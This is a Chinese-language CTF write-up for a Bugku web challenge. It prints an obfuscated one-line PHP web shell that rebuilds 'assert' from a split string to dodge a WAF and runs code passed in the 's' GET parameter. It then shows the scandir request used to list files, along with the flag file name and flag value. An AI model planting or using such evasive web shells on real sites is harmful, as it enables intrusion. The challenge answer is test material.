Bugku-CTF之过狗一句话(送给大家一个过狗一句话)

Day25

过狗一句话

 

http://123.206.87.240:8010/

送给大家一个过狗一句话
<?php $poc="a#s#s#e#r#t"; $poc_1=explode("#",$poc); $poc_2=$poc_1[0].$poc_1[1].$poc_1[2].$poc_1[3].$poc_1[4].$poc_1[5]; $poc_2($_GET['s']) ?>

 
 
 
 
本题要点:php scandir()函数、assert代码执行漏洞
 
 
php中读取目录下文件的方法:
 
 
最简单的是print_r(scandir($dir)),还可以利用print_r(glob("*.*"))
scandir()   //作用能扫描文件夹下的目录和文件,返回值为所有文件名组成的一个数组
show_source()  //显示文件源码
highlight_file()   //和show_source()函数是一个意思
 
看题目~
 
构造: http://123.206.87.240:8010/ ?s=print_r(scandir('./'))
 
访问的时候就成为 http://123.206.87.240:8010/?s=print_r(scandir(%27./%27))
 
 
 
则直接获取里面的内容     http://120.24.86.145:8010/ flag_sm1skla1).txt 
得到flag
 
BUGKU{bugku_web_009801_a}
 
完成!
 
 
参考资料:

php读取目录及子目录下所有文件名的方法 

http://www.php.cn/manual/view/4514.html 

https://www.jb51.net/article/56468.htm/

http://www.w3school.com.cn/php/func_directory_scandir.asp

猜你喜欢

转载自www.cnblogs.com/0yst3r-2046/p/10781215.html